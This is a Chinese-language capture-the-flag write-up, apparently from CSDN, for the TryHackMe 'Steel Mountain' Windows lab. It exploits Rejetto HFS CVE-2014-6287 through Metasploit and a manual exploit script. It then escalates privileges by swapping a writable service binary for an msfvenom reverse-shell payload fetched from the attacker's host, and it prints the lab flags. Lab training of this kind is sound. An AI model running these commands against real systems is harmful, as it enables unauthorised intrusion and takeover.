TryHackMe - Steel Mountain

本文详细描述了一次通过TryHackMe平台的实验,涉及Windows系统渗透,包括使用Metasploit进行初始访问、利用CVE漏洞、powershell权限提升,以及如何在不依赖Metasploit的情况下获取和提升权限的过程。
摘要由CSDN通过智能技术生成

本文相关TryHackMe实验房间链接:TryHackMe | Why Subscribe

本文相关介绍:您将枚举一台 Windows 计算机,使用Metasploit获得初始访问权限,然后使用powershell枚举Windows权限提升方法,进一步获得目标机器的Administrator访问权限。

本次实验目标IP为:10.10.56.201

Task 1 - Introduction (介绍)

启动目标机器,直接浏览器访问目标ip地址,右键--查看网页源码,即可获取第一小题答案:

答题:


Task 2 - Initial Access (初始访问)

1、使用nmap进行端口扫描

nmap -Pn -sV 10.10.56.201

除了默认的80端口之外,目标站点还开放了8080端口提供http服务

访问8080端口的Web Server页面:

使用的是Http File Server 2.3

2、使用的服务

Rejetto HTTP File Server

使用搜索引擎,查找相关漏洞信息

通过漏洞库查询cve编号:Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers

3、查看CVE编号: 2014-6287

接下来,我们使用 Metasploit 利用和以上cve编号相对应的漏洞,获得一个初始 shell

msfconsole -q            # 跳过提示语打开msf
search Rejetto
use exploit/windows/http/rejetto_hfs_exec
options
set RHOSTS 10.10.56.201
set RPORT 8080
set LHOST 10.2.3.117     # 当使用OpenVPN连接到TryHackMe内网时,该选项为tun0地址
erun                     # 或者xploit

4、查看user.txt内容:

shell                 # 由meterpreter shell界面进入Windows shell界面
cd C:\Users\bill\Desktop\
dir
more user.txt

b04763b6fcf51fcd7c13abc7db4fd365

5、答题


Task 3 - Privilege Escalation (权限提升)

现在我们已经以 Bill 的身份在这台 Windows 机器上有了一个初始 shell,可以进一步枚举该机器并将我们的权限升级到 root!

为了枚举这台机器,我们将使用一个名为 PowerUp 的 powershell 脚本,其目的是评估 Windows 机器并确定任何异常情况

您可以在此处下载脚本。 (可以复制脚本内容,在本地终端新建一个ps1文件)

下载地址2

1、上传脚本

现在我们就可以使用Metasploit shell 的upload 命令来上传脚本啦

exit       # 退出Windows shell界面,回到meterpreter shell界面
upload /root/tools/PowerUp.ps1    # 替换成你本地终端的ps1路径

然后我们可以通过meterpreter会话来加载PowerShell扩展,并进入 PowerShell的shell界面并执行脚本:

load powershell
powershell_shell
Import-Module .\PowerUp.ps1
Invoke-AllChecks

可以看到有一个特定服务的 CanRestart 选项被设置为 true,此选项被设置为 true 后,我们就能够在系统上重新启动此服务;而且这个应用程序的目录是可写的,这意味着我们可以用恶意应用程序来替换合法的应用程序,一旦服务重启,我们的恶意程序也将运行。

ServiceName :AdvancedSystemCareService9

ModifiablePath:C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

2、反弹shell

msfvenom可用于生成反向shell的payload并将其输出为windows可执行文件,我们用msfvenom来生成一个和之前的应用程序同名的恶意应用程序:

#msfvenom -p windows/shell_reverse_tcp LHOST=<local_ip> LPORT=<local_port> -e x86/shikata_ga_nai -f exe-service -o filename.exe

msfvenom -p windows/shell_reverse_tcp LHOST=10.2.3.117 LPORT=1234 -e x86/shikata_ga_nai -f exe -o ASCService.exe

然后可以通过 meterpreter shell (先 CTRL + C 退出 PowerShell 会话) 将其上传到目标机器:

ctrl + c     # 退出Windows shell界面,回到meterpreter shell界面
upload /root/tools/ASCService.exe   # 替换成你本地终端的文件路径

进入普通的windows shell界面,我们先停止合法的应用程序,然后用恶意的二进制程序替换正常的同名应用程序文件:

shell
sc stop AdvancedSystemCareService9
copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

关于SC命令(Windows 不区分大小写):

SC命令的格式:SC [Servername] command Servicename [Optionname= Optionvalues]

Servername:指定服务所在的远程服务器的名称。名称必须采用通用命名约定 (UNC) 格式(“\\myserver”)。如果是在本地运行SC.exe,请忽略此参数。
command :如query,start,stop,create,config等

Servicename:服务名,也就是要配置的那个服务的名字,例如你要启动一个服务你就输入sc start +你要启动的服务名称(并非是服务显示名称)。
Optionname= Optionvalues:是选项名和选项的值。

3、设置监听器

在重新启动服务之前,我们需要在攻击机终端中设置一个netcat侦听器:

nc -nlvp 1234

然后我们可以在 windows shell 中重新启动之前停止的服务:

sc start AdvancedSystemCareService9

一旦之前的服务重新启动,攻击机上的侦听器中将获取到反向 shell。

4、查看root.txt 文件

成功获取管理员权限之后,我们可以切换到 Administrator 的 Desktop 目录查看root.txt 文件:

cd C:\Users\Administrator\Desktop  
dir
more root.txt

9af5f314f57607c00fd09803a587db80

5、答题


Task 4 - Access and Escalation Without Metasploit (无需 Metasploit 即可访问和升级)

现在让我们在不使用 Metasploit 的情况下获得初始权限和进行权限提升

为此,我们将利用 powershell 和 winPEAS 枚举系统并收集相关信息以提权到管理员用户。

我们还是使用之前查询到的CVE编号所对应的漏洞来获取初始访问权限,只不过我们这次手动使用exp。

exp链接(一个python脚本):https://www.exploit-db.com/exploits/39161

为了使这种攻击起作用,需要同时激活Web服务器和netcat侦听器,如果你的系统上还没有 netcat 静态二进制文件,那么你可以从GitHub下载。我们还将使用 winPEAS来枚举目标机系统信息。

netcat二进制文件:static-binaries/binaries/windows/x86/ncat.exe at master · andrew-d/static-binaries · GitHub

winPEAS(在下载页选择winPEASx64.exe):Release Release refs/heads/master 20221009 · carlospolop/PEASS-ng · GitHub

1、攻击前准备

为了方便,我新建了一个文件夹Steel_Mountain放置刚才下载的三个文件

py脚本使用前记得修改好ip和端口,下载的netcat二进制文件要修改名称为nc.exe(因为脚本已经指定要调用名称为nc.exe的文件

2、攻击

需要开启3个独立的终端窗口来完成攻击:

终端1 - 通过python启用 HTTP web 服务器

# cd到/root/tools/Steel_Mountain目录
# python3 -m http.server 5555  # python3无响应,所以换成python2
python2 -m SimpleHTTPServer 80  
 

终端2 - 设置netcat 监听器

nc -nvlp 1234

终端3 - 执行exp进行攻击(注意所用脚本的python版本)

# cd到/root/tools/Steel_Mountain目录
python2 2014-6287.py 10.10.56.201 8080   # 第一次执行会将SteelMountain/目录下的nc.exe上传到目标系统
python2 2014-6287.py 10.10.56.201 8080   # 第二次执行会发送一个反向shell回连到攻击机监听器

在终端2界面 成功获取目标机的shell:

使用Powershell相关命令将winPEAS脚本拉取到目标系统上:

# 终端2界面
cd C:\Users\Bill\Desktop
# Format is "powershell -c "command here"
powershell -c wget "http://10.2.3.117/winPEASx64.exe" -outfile "winPEAS.exe"

# 运行winPEAS脚本
winPEAS.exe
#我们也可以运行powershell -c 命令手动查找服务名称:powershell -c "Get-Service"

运行winPEAS之后,查看输出的服务信息,观察在运行时"未引用路径"的服务名称:

3、反弹shell

使用msfvenom生成一个exe形式的反向shell payload,输出的文件名要和服务对应的文件名相同

# 终端3
msfvenom -p windows/shell_reverse_tcp LHOST=10.2.3.117 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ASCService.exe

通过 PowerShell 将文件传输到目标系统中:

# 终端2
powershell -c wget "http://10.2.3.117/ASCService.exe" -outfile "ASCService.exe"

停止合法的服务程序,并用我们的恶意二进制文件替换该应用程序:

# 终端2

sc stop AdvancedSystemCareService9

copy ASCService.exe "\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

4、设置监听器

# 终端3
nc -lvnp 4444

当攻击机上的netcat侦听器正在运行时,可以在目标机上重新启动刚才停止的服务:

# 终端2
sc start AdvancedSystemCareService9

目标机重启服务后,攻击机将获取反向shell,权限为管理员级别,在攻击机界面:切换到 Administrator 的 Desktop 目录并获取 root.txt 文件

# 终端3
cd C:\Users\Administrator\Desktop  
dir
more root.txt

5、答题

  • 18
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值